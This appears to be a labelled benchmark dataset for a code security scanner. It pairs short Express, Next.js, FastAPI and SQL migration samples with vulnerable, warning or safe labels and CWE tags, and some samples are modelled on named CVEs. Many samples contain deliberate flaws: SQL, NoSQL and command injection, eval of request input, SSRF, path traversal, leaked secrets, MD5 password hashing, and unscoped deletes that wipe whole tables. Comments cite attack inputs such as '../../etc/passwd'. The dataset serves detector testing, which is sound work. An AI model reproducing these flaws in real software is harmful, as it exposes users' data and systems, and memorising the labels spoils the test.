id string | label string | stack string | group string | path string | categories list | cwe list | code string |
|---|---|---|---|---|---|---|---|
cargo_git_http_dep | warning | nextjs | synthetic-v1 | Cargo.toml | [
"insecure_dependency_source"
] | [
"CWE-829"
] | [package]
name = "demo"
version = "0.1.0"
[dependencies]
serde = "1"
shady = { git = "http://example.com/shady.git" } |
cve_2014_6394_express_sendfile_traversal | vulnerable | express | cve-repro-v1 | server.js | [
"path_traversal"
] | [
"CWE-22"
] | const express = require("express");
const path = require("path");
const app = express();
const UPLOADS = "/app/uploads/";
// Modeled on the documented Express res.sendFile() path traversal class
// (CVE-2014-6394 in `send`): a user-controlled filename is concatenated to a base
// dir and served with no `root` option, ... |
cve_2017_5941_node_serialize_deser | vulnerable | express | cve-repro-v1 | server.js | [
"insecure_deserialization"
] | [
"CWE-502"
] | const express = require("express");
const serialize = require("node-serialize");
const app = express();
// CVE-2017-5941: node-serialize unserialize() on untrusted input enables RCE via
// an IIFE payload (_$$ND_FUNC$$_). Here the request body is deserialized directly.
app.post("/session/load", (req, res) => {
const... |
cve_2023_26111_node_static_path_traversal | vulnerable | express | cve-repro-v1 | server.js | [
"path_traversal"
] | [
"CWE-22"
] | const express = require("express");
const fs = require("fs");
const path = require("path");
const app = express();
const ROOT = path.join(__dirname, "public");
// Modeled on node-static CVE-2023-26111: the user-controlled filename is joined to
// the web root and read without containment, so `../` sequences escape the... |
cve_2024_39338_axios_ssrf | vulnerable | express | cve-repro-v1 | server.js | [
"ssrf"
] | [
"CWE-918"
] | const express = require("express");
const axios = require("axios");
const app = express();
// Modeled on axios SSRF CVE-2024-39338: a user-controlled URL is passed to an
// HTTP client, so the attacker controls the request destination.
app.get("/fetch", async (req, res) => {
const r = await axios.get(req.query.url);... |
cve_2025_53107_git_mcp_command_injection | vulnerable | express | cve-repro-v1 | server.js | [
"command_injection"
] | [
"CWE-78"
] | const express = require("express");
const { exec } = require("child_process");
const app = express();
// Modeled on git-mcp-server CVE-2025-53107: a request parameter is concatenated
// into a shell command run via child_process.exec (no sanitization).
app.post("/git/log", (req, res) => {
exec(`git -C ${req.body.rep... |
cve_2026_41640_nocobase_concat_sqli | vulnerable | express | cve-repro-v1 | server.js | [
"sql_injection"
] | [
"CWE-89"
] | const express = require("express");
const mysql = require("mysql2");
const db = mysql.createConnection({});
const app = express();
// Modeled on the documented mysql concatenation SQLi class (e.g. CVE-2026-41640,
// @nocobase/database): user input concatenated into a query string, not bound.
app.get("/user/:id", (req,... |
express_delete_guarded | safe | express | synthetic-v1 | routes/users.js | [] | [] | const express = require("express");
const router = express.Router();
// Suppression gardée : un visiteur non authentifié est rejeté (401) AVANT
// l'écriture. La définition de route `router.delete(...)` n'est PAS une
// écriture DB. -> aucun finding attendu.
router.delete("/users/:id", async (req, res) => {
if (!req... |
express_exec_safe | safe | express | synthetic-v1 | lib/git.js | [] | [] | const { execFile } = require("child_process");
// commande fixe + arguments en tableau, sans shell -> pas d'injection
function gitClone(repoArg) {
// repoArg passé en argument séparé (pas interpolé dans une chaîne shell)
execFile("git", ["clone", "--depth", "1", repoArg], (e) => {});
}
module.exports = { gitClone ... |
express_knex_delete_no_where | vulnerable | express | synthetic-v1 | routes/admin.js | [
"destructive_query"
] | [] | const router = require("express").Router();
const knex = require("../db");
// .del() sans .where -> vide la table users entière à chaque appel.
router.post("/wipe", async (req, res) => {
await knex("users").del();
res.json({ ok: true });
});
module.exports = router; |
express_knex_delete_scoped_safe | safe | express | synthetic-v1 | routes/sessions.js | [] | [] | const router = require("express").Router();
const knex = require("../db");
const { currentUser } = require("../auth");
// Portée délimitée par le tenant courant (dérivé du serveur, après auth) ->
// supprime uniquement les sessions de ce tenant, pas toute la table.
router.post("/sessions/clear", async (req, res) => {
... |
express_knex_raw_sqli | vulnerable | express | synthetic-v1 | routes/search.js | [
"sql_injection"
] | [
"CWE-89"
] | // SQL brut via knex.raw avec une entrée non fiable concaténée -> injection SQL.
function search(req, res) {
return knex.raw("SELECT * FROM products WHERE name = '" + req.query.q + "'");
}
module.exports = { search }; |
express_kysely_delete_from_all | vulnerable | express | synthetic-v1 | routes/admin.js | [
"destructive_query"
] | [] | const router = require("express").Router();
const { db } = require("../db");
// Kysely : deleteFrom sans where -> vide la table sessions entière.
router.post("/wipe", async (req, res) => {
await db.deleteFrom("sessions").execute();
res.json({ ok: true });
});
module.exports = router; |
express_nosql_field_safe | safe | express | synthetic-v1 | routes/users.js | [] | [] | const User = require("../models/User");
// Champ extrait et casté (pas la requête entière) -> pas d'injection
// d'opérateurs -> ne doit PAS être flagué.
app.get("/user", (req, res) => {
User.findOne({ email: String(req.body.email) }).then((u) => res.json(u));
}); |
express_nosql_injection | vulnerable | express | synthetic-v1 | routes/login.js | [
"nosql_injection"
] | [
"CWE-943"
] | const User = require("../models/User");
// Toute la requête vient du corps : un attaquant envoie des OPÉRATEURS Mongo
// ({ "$gt": "" }, { "$ne": null }) au lieu de valeurs et contourne le filtre.
app.post("/login", (req, res) => {
User.findOne(req.body).then((u) => res.json(u));
}); |
express_raw_delete_all | vulnerable | express | synthetic-v1 | routes/cleanup.js | [
"destructive_query"
] | [] | const router = require("express").Router();
const pool = require("../db");
// DELETE brut SANS clause WHERE -> efface toute la table sessions à chaque appel.
router.post("/sessions/purge", async (req, res) => {
await pool.query("DELETE FROM sessions");
res.json({ ok: true });
});
module.exports = router; |
express_raw_delete_maintenance_safe | safe | express | synthetic-v1 | routes/maintenance.js | [] | [] | const router = require("express").Router();
const pool = require("../db");
// Purge bornée par une condition temporelle, sans aucune entrée utilisateur ->
// ne supprime que les sessions expirées, pas toute la table.
router.post("/sessions/expired", async (req, res) => {
await pool.query("DELETE FROM sessions WHERE ... |
express_sequelize_destroy_all | vulnerable | express | synthetic-v1 | routes/users.js | [
"destructive_query"
] | [] | const router = require("express").Router();
const { User } = require("../models");
// destroy({ where: {} }) : portée vide -> supprime TOUS les utilisateurs.
router.post("/users/wipe", async (req, res) => {
await User.destroy({ where: {} });
res.json({ ok: true });
});
module.exports = router; |
express_sql_tag_delete_all | vulnerable | express | synthetic-v1 | src/repo.js | [
"destructive_query"
] | [] | const sql = require("../db");
// Tag `sql` (postgres.js) avec un DELETE sans WHERE -> efface toute la table.
async function purgeSessions() {
await sql`DELETE FROM sessions`;
}
module.exports = { purgeSessions }; |
express_sqli_concat | vulnerable | express | synthetic-v1 | routes/users.js | [
"sql_injection"
] | [
"CWE-89"
] | const express = require("express");
const { pool } = require("../db");
const router = express.Router();
router.get("/users/:id", async (req, res) => {
// req.params.id concaténé brut dans une requête SQL -> injection.
const { rows } = await pool.query(
"SELECT * FROM users WHERE id = " + req.params.id
);
r... |
express_sqli_param_helper | vulnerable | express | synthetic-v1 | routes/logout.js | [
"sql_injection"
] | [
"CWE-89"
] | // Le sink SQL est DANS le helper ; la donnée non fiable entre par le PARAMÈTRE.
// Le taint inter-fonction lie l'argument souillé au paramètre `payload`.
function runQuery(payload) {
db.query("DELETE FROM sessions WHERE token = " + payload.token);
}
app.post("/logout", (req, res) => {
runQuery(req.body);
res.js... |
express_sqli_via_helper | vulnerable | express | synthetic-v1 | routes/users.js | [
"sql_injection"
] | [
"CWE-89"
] | // L'entrée non fiable transite par un helper local avant d'atteindre le sink SQL.
// Le taint inter-fonction suit `buildId` -> `id` est souillé -> injection SQL.
function buildId(req) {
return req.query.id;
}
app.get("/users", (req, res) => {
const id = buildId(req);
const rows = db.query("SELECT * FROM users W... |
express_ssrf_via_helper | vulnerable | express | synthetic-v1 | routes/proxy.js | [
"ssrf"
] | [
"CWE-918"
] | // L'URL sortante vient d'un helper local qui lit l'entrée, appelé INLINE dans
// le sink. Le taint inter-fonction (au niveau du sink) attrape le SSRF.
function target(req) {
return req.query.url;
}
app.get("/proxy", (req, res) => {
fetch(target(req)).then((r) => r.text()).then((t) => res.send(t));
}); |
express_token_in_response | vulnerable | express | synthetic-v1 | routes/api.js | [
"secret_in_response"
] | [
"CWE-200"
] | // Renvoie un secret serveur (token GitHub) dans la réponse -> fuite vers le client.
function handler(req, res) {
res.json({ ok: true, token: process.env.GITHUB_TOKEN });
}
module.exports = handler; |
fastapi_safe_pydantic | safe | fastapi | synthetic-v1 | app/main.py | [] | [] | from fastapi import FastAPI, Depends
from sqlalchemy import select
from .db import get_session, User
from .auth import current_user
app = FastAPI()
@app.get("/users/{user_id}")
async def get_user(user_id: int, session=Depends(get_session), me=Depends(current_user)):
# user_id est typé int (Pydantic valide/conver... |
knex_drop_column | vulnerable | express | synthetic-v1 | migrations/0005_drop_email.js | [
"destructive_migration"
] | [] | exports.up = function (knex) {
return knex.schema.alterTable("users", (table) => {
table.dropColumn("email");
});
};
exports.down = function (knex) {
return knex.schema.alterTable("users", (table) => {
table.string("email");
});
}; |
migration_add_fk_locking | warning | sql | synthetic-v1 | migrations/0042_orders_fk.sql | [
"locking_constraint_migration"
] | [] | -- migration 0042: enforce that every order references a real user (orders already populated)
ALTER TABLE orders ADD CONSTRAINT fk_orders_user FOREIGN KEY (user_id) REFERENCES users (id); |
migration_add_notnull_no_default | warning | nextjs | synthetic-v1 | migrations/0007_add_age.sql | [
"risky_not_null_migration"
] | [] | -- ajoute une colonne obligatoire SANS valeur par défaut :
-- échoue si la table users contient déjà des lignes
ALTER TABLE users ADD COLUMN age integer NOT NULL; |
migration_add_notnull_with_default | safe | nextjs | synthetic-v1 | migrations/0008_add_age_default.sql | [] | [] | -- colonne obligatoire AVEC valeur par défaut : les lignes existantes
-- reçoivent la valeur -> migration sûre même sur table peuplée
ALTER TABLE users ADD COLUMN age integer NOT NULL DEFAULT 0; |
migration_alter_default_safe | safe | sql | synthetic-v1 | migrations/0010_defaults.sql | [] | [] | -- changements additifs/sûrs : pas de perte de données, pas de renommage,
-- pas de changement de type -> aucun finding attendu
ALTER TABLE users ADD COLUMN bio text;
ALTER TABLE users ALTER COLUMN role SET DEFAULT 'member';
ALTER TABLE users ALTER COLUMN role DROP DEFAULT; |
migration_comment_safe | safe | sql | synthetic-v1 | migrations/0004_add_note.sql | [] | [] | -- on supprimait avant avec DROP TABLE users; ce n'est plus le cas
ALTER TABLE users ADD COLUMN note text; |
migration_create_index_concurrently_safe | safe | sql | synthetic-v1 | migrations/0032_index_email_cc.sql | [] | [] | -- build sans verrou d'écriture
CREATE INDEX CONCURRENTLY idx_users_email ON users (email); |
migration_create_index_locking | warning | sql | synthetic-v1 | migrations/0031_index_email.sql | [
"locking_index_migration"
] | [] | -- index ajouté sur une table déjà en production
CREATE INDEX idx_users_email ON users (email); |
migration_delete_no_where | vulnerable | sql | synthetic-v1 | migrations/0002_cleanup.sql | [
"destructive_migration"
] | [] | DELETE FROM sessions; |
migration_delete_real_where_safe | safe | sql | synthetic-v1 | migrations/0021_expire.sql | [] | [] | -- ne supprime que les sessions expirées (portée réelle)
DELETE FROM sessions WHERE expires_at < now(); |
migration_delete_where_always_true | vulnerable | sql | synthetic-v1 | migrations/0020_purge.sql | [
"destructive_migration"
] | [] | -- purge des sessions
DELETE FROM sessions WHERE 1 = 1; |
migration_drop_constraint | warning | sql | synthetic-v1 | migrations/0030_drop_fk.sql | [
"integrity_drop"
] | [] | -- retrait de la clé étrangère
ALTER TABLE orders DROP CONSTRAINT orders_user_fk; |
migration_drop_table | vulnerable | sql | synthetic-v1 | prisma/migrations/20240101_drop/migration.sql | [
"destructive_migration"
] | [] | -- supprime l'ancienne table
DROP TABLE users; |
migration_drop_tenant_id | vulnerable | sql | synthetic-v1 | migrations/0011_drop_tenant.sql | [
"tenant_isolation_break"
] | [
"CWE-863"
] | -- retire la colonne d'isolation multi-tenant :
-- les lignes ne sont plus cloisonnées par organisation -> fuite cross-tenant
ALTER TABLE invoices DROP COLUMN tenant_id; |
migration_drop_trigger | warning | sql | synthetic-v1 | migrations/0031_drop_trigger.sql | [
"dropped_trigger"
] | [] | -- suppression du déclencheur d'audit
DROP TRIGGER audit_orders ON orders; |
migration_rename_column | warning | sql | synthetic-v1 | migrations/0008_rename_email.sql | [
"breaking_rename"
] | [] | -- renomme une colonne existante :
-- tout le code (ORM, requêtes, vues) qui lit `email` casse au déploiement
ALTER TABLE users RENAME COLUMN email TO email_address; |
migration_rls_policy_permissive | warning | nextjs | synthetic-v1 | supabase/migrations/0005_policy.sql | [
"permissive_rls_policy"
] | [
"CWE-862"
] | -- RLS activée mais policy permissive : aucune isolation réelle
create table public_notes (
id uuid primary key default gen_random_uuid(),
body text
);
alter table public_notes enable row level security;
create policy "all access" on public_notes for all using (true) with check (true); |
migration_rls_policy_scoped | safe | nextjs | synthetic-v1 | supabase/migrations/0006_policy_scoped.sql | [] | [] | -- RLS avec policy scopée au propriétaire : isolation réelle
create table notes (
id uuid primary key default gen_random_uuid(),
owner_id uuid,
body text
);
alter table notes enable row level security;
create policy "own notes" on notes for all using (auth.uid() = owner_id) with check (auth.uid() = owner_id); |
migration_safe | safe | sql | synthetic-v1 | migrations/0003_add_bio.sql | [] | [] | ALTER TABLE users ADD COLUMN bio text;
DELETE FROM sessions WHERE expired = true; |
migration_supabase_missing_rls | warning | nextjs | synthetic-v1 | supabase/migrations/0003_comments.sql | [
"missing_rls"
] | [
"CWE-862"
] | -- migration Supabase : posts est protégée, comments est oubliée
create table posts (
id uuid primary key default gen_random_uuid(),
author_id uuid,
body text
);
alter table posts enable row level security;
create policy "own posts" on posts for select using (auth.uid() = author_id);
create table comments (
id... |
migration_supabase_rls_ok | safe | nextjs | synthetic-v1 | supabase/migrations/0004_rls.sql | [] | [] | -- migration Supabase : toutes les tables ont RLS activée
create table posts (
id uuid primary key default gen_random_uuid(),
body text
);
alter table posts enable row level security;
create table comments (
id uuid primary key default gen_random_uuid(),
body text
);
alter table comments enable row level secur... |
migration_type_narrowing | warning | sql | synthetic-v1 | migrations/0009_counter_type.sql | [
"risky_type_change"
] | [] | -- réduit le type d'une colonne existante :
-- les bigint hors plage int sont tronqués / la migration peut échouer
ALTER TABLE events ALTER COLUMN counter TYPE integer; |
nextjs_anon_key_client_safe | safe | nextjs | synthetic-v1 | app/providers/supabase.tsx | [] | [] | "use client";
import { createClient } from "@supabase/supabase-js";
// composant client utilisant UNIQUEMENT des variables publiques NEXT_PUBLIC_ -> sûr
export const supabase = createClient(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
); |
nextjs_code_injection_eval | vulnerable | nextjs | synthetic-v1 | app/api/run/route.ts | [
"code_injection"
] | [
"CWE-95"
] | // exécute une expression venant de la requête -> exécution de code arbitraire
export async function GET({ params }: { params: { code: string } }) {
return eval(params.code);
} |
nextjs_command_injection | vulnerable | nextjs | synthetic-v1 | app/ping/route.ts | [
"command_injection"
] | [
"CWE-78"
] | import { exec } from "child_process";
// exécute une commande shell contenant une entrée de l'URL -> command injection
export function GET({ searchParams }: { searchParams: { host: string } }) {
exec("ping -c 1 " + searchParams.host, (e, out) => console.log(out));
return new Response("ok");
} |
nextjs_delete_guard_after | vulnerable | nextjs | synthetic-v1 | app/invoices/[id]/route.ts | [
"missing_authorization"
] | [
"CWE-862"
] | import { prisma } from "@/lib/db";
import { auth } from "@/lib/auth";
import { NextRequest, NextResponse } from "next/server";
export async function DELETE(req: NextRequest, { params }: { params: { id: string } }) {
await prisma.invoice.delete({ where: { id: params.id } });
const session = await auth(); // trop ta... |
nextjs_delete_guarded | safe | nextjs | synthetic-v1 | app/invoices/[id]/route.ts | [] | [] | import { prisma } from "@/lib/db";
import { auth } from "@/lib/auth";
import { NextRequest, NextResponse } from "next/server";
export async function DELETE(req: NextRequest, { params }: { params: { id: string } }) {
const session = await auth();
if (!session) return NextResponse.json({ error: "unauthorized" }, { s... |
nextjs_delete_unguarded | vulnerable | nextjs | synthetic-v1 | app/invoices/[id]/route.ts | [
"missing_authorization"
] | [
"CWE-862"
] | import { prisma } from "@/lib/db";
import { NextRequest, NextResponse } from "next/server";
export async function DELETE(req: NextRequest, { params }: { params: { id: string } }) {
await prisma.invoice.delete({ where: { id: params.id } });
return NextResponse.json({ ok: true });
} |
nextjs_deletemany_always_true_or | vulnerable | nextjs | synthetic-v1 | app/api/users/route.ts | [
"destructive_query"
] | [] | import { prisma } from "@/lib/db";
import { auth } from "@/lib/auth";
import { NextRequest, NextResponse } from "next/server";
export async function DELETE(req: NextRequest) {
const session = await auth();
if (!session?.user) return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
const { ids } = ... |
nextjs_drizzle_update_all | vulnerable | nextjs | synthetic-v1 | app/api/admin/promote/route.ts | [
"destructive_query"
] | [] | import { db } from "@/lib/db";
import { users } from "@/lib/schema";
// Drizzle : update sans where -> réécrit le rôle de TOUS les utilisateurs.
export async function POST() {
await db.update(users).set({ role: "admin" });
return Response.json({ ok: true });
} |
nextjs_drizzle_update_scoped_safe | safe | nextjs | synthetic-v1 | app/api/profile/route.ts | [] | [] | import { db } from "@/lib/db";
import { users, eq } from "@/lib/schema";
import { auth } from "@/lib/auth";
// Portée par .where(...) + gardé par auth -> n'affecte que la ligne ciblée.
export async function POST(req: Request) {
const s = await auth(req);
const { id } = await req.json();
await db.update(users).se... |
nextjs_idor_destructured | vulnerable | nextjs | synthetic-v1 | app/invoices/[id]/route.ts | [
"idor"
] | [
"CWE-639"
] | import { prisma } from "@/lib/db";
import { NextRequest, NextResponse } from "next/server";
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
const { id } = params;
const invoice = await prisma.invoice.findUnique({ where: { id } });
return NextResponse.json(invoice);
} |
nextjs_idor_invoice | vulnerable | nextjs | synthetic-v1 | app/invoices/[id]/route.ts | [
"idor"
] | [
"CWE-639"
] | import { prisma } from "@/lib/db";
import { auth } from "@/lib/auth";
import { NextRequest, NextResponse } from "next/server";
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
const session = await auth();
// Lecture d'un modèle sensible par id SEUL : aucun filtre d'ownership.
... |
nextjs_idor_safe_ownership | safe | nextjs | synthetic-v1 | app/invoices/[id]/route.ts | [] | [] | import { prisma } from "@/lib/db";
import { auth } from "@/lib/auth";
import { NextRequest, NextResponse } from "next/server";
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
const session = await auth();
// Lecture filtrée par ownerId : un user ne lit QUE ses factures. Pas d'... |
nextjs_insecure_random | warning | nextjs | synthetic-v1 | app/lib/session.ts | [
"insecure_random"
] | [
"CWE-338"
] | // génère un token de session avec Math.random() -> prédictible (non cryptographique)
export function newSessionToken() {
return Math.random().toString(36).slice(2);
} |
nextjs_jsonparse_safe | safe | nextjs | synthetic-v1 | app/api/parse/route.ts | [] | [] | // parse des données venant de la requête (pas d'exécution) -> usage sûr
export async function POST({ params }: { params: { body: string } }) {
const data = JSON.parse(params.body);
return Response.json({ ok: true, count: Object.keys(data).length });
} |
nextjs_log_safe | safe | nextjs | synthetic-v1 | app/api/health/route.ts | [] | [] | export async function GET() {
// logge des variables NON secrètes -> usage normal, aucun secret exposé
console.log("env:", process.env.NODE_ENV, process.env.NEXT_PUBLIC_APP_URL);
return new Response("ok");
} |
nextjs_open_redirect | vulnerable | nextjs | synthetic-v1 | app/go/route.ts | [
"open_redirect"
] | [
"CWE-601"
] | import { redirect } from "next/navigation";
// redirige vers une URL venant de la query -> open redirect (phishing)
export function GET({ searchParams }: { searchParams: { next: string } }) {
redirect(searchParams.next);
} |
nextjs_path_sanitized_safe | safe | nextjs | synthetic-v1 | app/download/route.ts | [] | [] | import fs from "fs";
import path from "path";
// le chemin est neutralisé (basename) -> pas de traversal -> sûr
export function GET({ searchParams }: { searchParams: { file: string } }) {
const safe = path.basename(searchParams.file);
const data = fs.readFileSync(path.join("./public", safe), "utf8");
return new ... |
nextjs_path_traversal | vulnerable | nextjs | synthetic-v1 | app/download/route.ts | [
"path_traversal"
] | [
"CWE-22"
] | import fs from "fs";
// lit un fichier dont le chemin vient de la query -> path traversal (../../etc/passwd)
export function GET({ searchParams }: { searchParams: { file: string } }) {
const data = fs.readFileSync(searchParams.file, "utf8");
return new Response(data);
} |
nextjs_prisma_deletemany_all | vulnerable | nextjs | synthetic-v1 | app/api/admin/cleanup/route.ts | [
"destructive_query"
] | [] | import { prisma } from "@/lib/db";
// Un agent à qui on demande de « nettoyer les sessions » émet un deleteMany()
// sans filtre -> efface TOUTES les sessions, de tous les utilisateurs.
export async function POST() {
await prisma.session.deleteMany();
return Response.json({ ok: true });
} |
nextjs_prisma_deletemany_scoped_safe | safe | nextjs | synthetic-v1 | app/api/sessions/clear/route.ts | [] | [] | import { prisma } from "@/lib/db";
import { auth } from "@/lib/auth";
// Suppression DÉLIMITÉE par le tenant courant (dérivé du serveur) -> n'efface
// que les sessions de ce tenant, pas toute la table.
export async function POST(req: Request) {
const { tenantId } = await auth(req);
await prisma.session.deleteMany... |
nextjs_prisma_executeraw_delete | vulnerable | nextjs | synthetic-v1 | app/api/admin/wipe/route.ts | [
"destructive_query"
] | [] | import { prisma } from "@/lib/db";
// $executeRawUnsafe avec un DELETE sans WHERE : contourne l'ORM et efface tout.
export async function POST() {
await prisma.$executeRawUnsafe(`DELETE FROM audit_logs`);
return Response.json({ ok: true });
} |
nextjs_prisma_updatemany_all | vulnerable | nextjs | synthetic-v1 | app/api/admin/promote/route.ts | [
"destructive_query"
] | [] | import { prisma } from "@/lib/db";
// updateMany SANS clause where -> réécrit le rôle de TOUS les utilisateurs.
export async function POST() {
await prisma.user.updateMany({ data: { role: "admin" } });
return Response.json({ ok: true });
} |
nextjs_public_service_role_client | vulnerable | nextjs | synthetic-v1 | app/admin/page.tsx | [
"public_secret_env"
] | [
"CWE-200"
] | "use client";
// secret PRÉFIXÉ NEXT_PUBLIC_ -> Next.js l'inline dans le bundle navigateur -> fuite PROUVÉE
const admin = process.env.NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY; |
nextjs_redirect_validated_safe | safe | nextjs | synthetic-v1 | app/go/route.ts | [] | [] | import { redirect } from "next/navigation";
// la cible est validée (chemin interne uniquement) -> redirection sûre
export function GET({ searchParams }: { searchParams: { next: string } }) {
const raw = searchParams.next;
const target = raw.startsWith("/") && !raw.startsWith("//") ? raw : "/";
redirect(target);... |
nextjs_safe_parameterized | safe | nextjs | synthetic-v1 | app/users/[id]/route.ts | [] | [] | import { prisma } from "@/lib/db";
import { NextRequest, NextResponse } from "next/server";
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
// id validé en entier puis requête paramétrée (template tag) : sûr.
const id = parseInt(params.id, 10);
if (Number.isNaN(id)) {
re... |
nextjs_secret_in_logs | warning | nextjs | synthetic-v1 | app/api/pay/route.ts | [
"secret_in_logs"
] | [
"CWE-532"
] | export async function POST() {
// logge la clé Stripe -> elle finit en clair dans les logs (Vercel/CloudWatch)
console.log("stripe key:", process.env.STRIPE_SECRET_KEY);
return new Response("ok");
} |
nextjs_secret_in_response | vulnerable | nextjs | synthetic-v1 | app/api/config/route.ts | [
"secret_in_response"
] | [
"CWE-200"
] | import { NextResponse } from "next/server";
// renvoie la service_role dans la réponse -> exposée à tout appelant de l'endpoint
export async function GET() {
return NextResponse.json({ key: process.env.SUPABASE_SERVICE_ROLE_KEY });
} |
nextjs_secret_multiline_response | vulnerable | nextjs | synthetic-v1 | app/api/cfg/route.ts | [
"secret_in_response"
] | [
"CWE-200"
] | import { NextResponse } from "next/server";
export async function GET() {
return NextResponse.json({
ok: true,
serviceKey: process.env.SUPABASE_SERVICE_ROLE_KEY,
});
} |
nextjs_secret_var_in_response | vulnerable | nextjs | synthetic-v1 | app/api/config/route.ts | [
"secret_in_response"
] | [
"CWE-200"
] | import { NextResponse } from "next/server";
// le secret passe par une variable avant d'être renvoyé : seul le taint le relie
export async function GET() {
const adminKey = process.env.SUPABASE_SERVICE_ROLE_KEY;
return NextResponse.json({ config: adminKey });
} |
nextjs_secret_via_helper_response | vulnerable | nextjs | synthetic-v1 | app/api/config/route.ts | [
"secret_in_response"
] | [
"CWE-200"
] | import { NextResponse } from "next/server";
// Le secret est encapsulé dans un helper, puis renvoyé dans la réponse : il fuit
// vers le client. Le suivi de variables ne verrait rien (retour de fonction).
function stripeKey() {
return process.env.STRIPE_SECRET_KEY;
}
export async function GET() {
return NextRespo... |
nextjs_service_role_client | warning | nextjs | synthetic-v1 | app/lib/supabase-client.ts | [
"server_secret_in_client"
] | [
"CWE-200"
] | "use client";
import { createClient } from "@supabase/supabase-js";
// service_role (non public) dans un client -> undefined au runtime navigateur, mais à auditer (piège NEXT_PUBLIC_)
export const supabase = createClient(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.SUPABASE_SERVICE_ROLE_KEY!,
); |
nextjs_service_role_server_safe | safe | nextjs | synthetic-v1 | app/lib/supabase-admin.ts | [] | [] | import { createClient } from "@supabase/supabase-js";
// service_role côté SERVEUR (pas de "use client") -> usage correct, ne fuit pas
export const supabaseAdmin = createClient(
process.env.SUPABASE_URL!,
process.env.SUPABASE_SERVICE_ROLE_KEY!,
); |
nextjs_sha256_safe | safe | nextjs | synthetic-v1 | app/lib/crypto.ts | [] | [] | import crypto from "crypto";
// condensat en SHA-256 + token via CSPRNG -> usage correct
export function fingerprint(data: string) {
return crypto.createHash("sha256").update(data).digest("hex");
}
export function newToken() {
return crypto.randomBytes(32).toString("hex");
} |
nextjs_sqli_body | vulnerable | nextjs | synthetic-v1 | app/api/accounts/route.ts | [
"sql_injection"
] | [
"CWE-89"
] | import { prisma } from "@/lib/db";
import { NextRequest } from "next/server";
// Le corps de la requête (await req.json()) est une SOURCE non fiable.
export async function POST(req: NextRequest) {
const { id } = await req.json();
return prisma.$queryRawUnsafe(`SELECT * FROM accounts WHERE id = ${id}`);
} |
nextjs_sqli_db_query | vulnerable | nextjs | synthetic-v1 | app/users/[id]/route.ts | [
"sql_injection"
] | [
"CWE-89"
] | import { db } from "@/lib/db";
import { NextRequest, NextResponse } from "next/server";
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
const rows = await db.query("SELECT * FROM users WHERE id = " + params.id);
return NextResponse.json(rows);
} |
nextjs_sqli_raw | vulnerable | nextjs | synthetic-v1 | app/users/[id]/route.ts | [
"sql_injection"
] | [
"CWE-89"
] | import { prisma } from "@/lib/db";
import { NextRequest, NextResponse } from "next/server";
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
// params.id vient de l'URL (source publique, aucune auth) et atterrit brut
// dans une requête SQL non paramétrée -> injection.
const ... |
nextjs_ssrf | vulnerable | nextjs | synthetic-v1 | app/proxy/route.ts | [
"ssrf"
] | [
"CWE-918"
] | // proxy qui appelle une URL venant de la query -> SSRF (169.254.169.254, services internes)
export async function GET({ searchParams }: { searchParams: { url: string } }) {
const res = await fetch(searchParams.url);
return new Response(await res.text());
} |
nextjs_ssrf_config_host_safe | safe | nextjs | synthetic-v1 | app/users/[id]/route.ts | [] | [] | import { NextRequest, NextResponse } from "next/server";
// Le HOST vient de la configuration serveur (process.env), pas de l'utilisateur.
// L'entrée n'apparaît que dans le chemin -> la destination reste un service de
// confiance, l'attaquant ne peut pas la rediriger -> pas un SSRF.
export async function GET(req: Ne... |
nextjs_ssrf_fixed_host_safe | safe | nextjs | synthetic-v1 | app/charges/[id]/route.ts | [] | [] | import { NextRequest, NextResponse } from "next/server";
// Le host est FIXE (api.stripe.com). L'entrée n'est qu'un segment de chemin :
// l'attaquant ne peut pas rediriger la requête ailleurs -> pas un SSRF.
export async function GET(req: NextRequest, { params }: { params: { id: string } }) {
const res = await fetc... |
nextjs_ssrf_validated_safe | safe | nextjs | synthetic-v1 | app/proxy/route.ts | [] | [] | // la cible est restreinte à une liste blanche de domaines -> pas de SSRF
const ALLOWED_HOSTS = new Set(["api.github.com", "api.stripe.com"]);
export async function GET({ searchParams }: { searchParams: { url: string } }) {
const u = new URL(searchParams.url);
if (!ALLOWED_HOSTS.has(u.hostname)) {
return new R... |
nextjs_stripe_secret_client | warning | nextjs | synthetic-v1 | app/pay/page.tsx | [
"server_secret_in_client"
] | [
"CWE-200"
] | "use client";
// secret Stripe (non public) dans un client -> undefined au runtime, mais à auditer (piège NEXT_PUBLIC_)
const stripeKey = process.env.STRIPE_SECRET_KEY; |
nextjs_trpc_protected_safe | safe | nextjs | synthetic-v1 | server/trpc/orders.ts | [] | [] | import { protectedProcedure } from "@/server/trpc";
// protectedProcedure impose l'authentification (wrapper) ; le where est scopé
// par orgId -> ni mass-write, ni missing-auth -> aucun finding (pas de FP).
export const setStatus = protectedProcedure.mutation(async ({ input }) => {
await prisma.order.updateMany({
... |
nextjs_updatemany_dynamic_empty_where | vulnerable | nextjs | synthetic-v1 | app/api/orders/route.ts | [
"destructive_query"
] | [] | import { prisma } from "@/lib/db";
import { NextRequest, NextResponse } from "next/server";
export async function PATCH(req: NextRequest) {
const { status, userId } = await req.json();
const whereClause: any = {};
if (userId) whereClause.userId = userId; // peut rester {} si pas de userId
await prisma.orde... |
nextjs_updatemany_ternary_empty_where | vulnerable | nextjs | synthetic-v1 | app/api/orders/route.ts | [
"destructive_query"
] | [] | import { prisma } from "@/lib/db";
import { NextRequest, NextResponse } from "next/server";
export async function PATCH(req: NextRequest) {
const { status, userId } = await req.json();
await prisma.order.updateMany({
where: userId ? { userId } : {}, // si userId absent -> where vide -> tout
data: { stat... |
nextjs_weak_crypto_md5 | vulnerable | nextjs | synthetic-v1 | app/lib/hash.ts | [
"weak_crypto"
] | [
"CWE-327"
] | import crypto from "crypto";
// hachage de mot de passe en MD5 -> cassé (collisions, rainbow tables)
export function hashPassword(pw: string) {
return crypto.createHash("md5").update(pw).digest("hex");
} |
nextjs_xss_dangerous_html | vulnerable | nextjs | synthetic-v1 | app/post/page.tsx | [
"xss"
] | [
"CWE-79"
] | // rend du HTML venant de l'URL sans assainir -> XSS
